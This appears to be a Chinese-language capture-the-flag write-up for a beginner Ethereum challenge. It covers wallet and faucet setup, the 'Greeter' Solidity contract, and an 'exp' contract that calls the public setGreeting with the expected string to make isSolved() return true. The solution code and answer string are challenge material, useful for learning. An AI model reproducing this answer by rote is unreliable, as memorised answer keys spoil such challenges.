0x002C8040CC431dCd9440B966E5A3f63B9ab61F56
在这之前你需要利用题目给的水龙头和rcp创建钱包账户
选中网络
之后点添加网络-手动添加网络
之后复制你钱包地址
放到给的水龙头地址
之后你的账户里就有钱了
之后访问4,得到合约
pragma solidity 0.8.9;
contract Greeter { string greeting;
constructor(string memory _greeting) {
greeting = _greeting;
}
function greet() public view returns (string memory) {
return greeting;
}
function setGreeting(string memory _greeting) public {
greeting = _greeting;
}
function isSolved() public view returns (bool) {
string memory ctf = "YouAreTheFutur3ofQLNU";
return keccak256(abi.encodePacked(ctf)) == keccak256(abi.encodePacked(greeting));
}}
我们这里用到remix
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity 0.8 .9 ; contract Greeter { string greeting; constructor(string memory _greeting) { greeting = _greeting; } function greet() public view returns (string memory) { return greeting; } function setGreeting(string memory _greeting) public { greeting = _greeting; } function isSolved() public view returns (bool ) { string memory ctf = "YouAreTheFutur3ofQLNU" ; return keccak256(abi.encodePacked(ctf)) == keccak256(abi.encodePacked(greeting)); } } contract exp{ address transcation=0xbaed0e840640c1d979ACed1315e14D983808F9F5 ; Greeter target=Greeter(transcation); constructor()payable{} function hack() public returns(bool ){ bool ans=false ; string memory greeting="YouAreTheFutur3ofQLNU" ; target.setGreeting(greeting); ans=target.isSolved(); return ans; } }
红色的地方要对应起来
先对应第一步,先inject的那个,第二步deploy,之后小狐狸钱包(MetaMask)会弹窗让你确认,等到下面出现绿色对号就可,第三步hack,小狐狸钱包发钱,成功后,回去访问4就可以了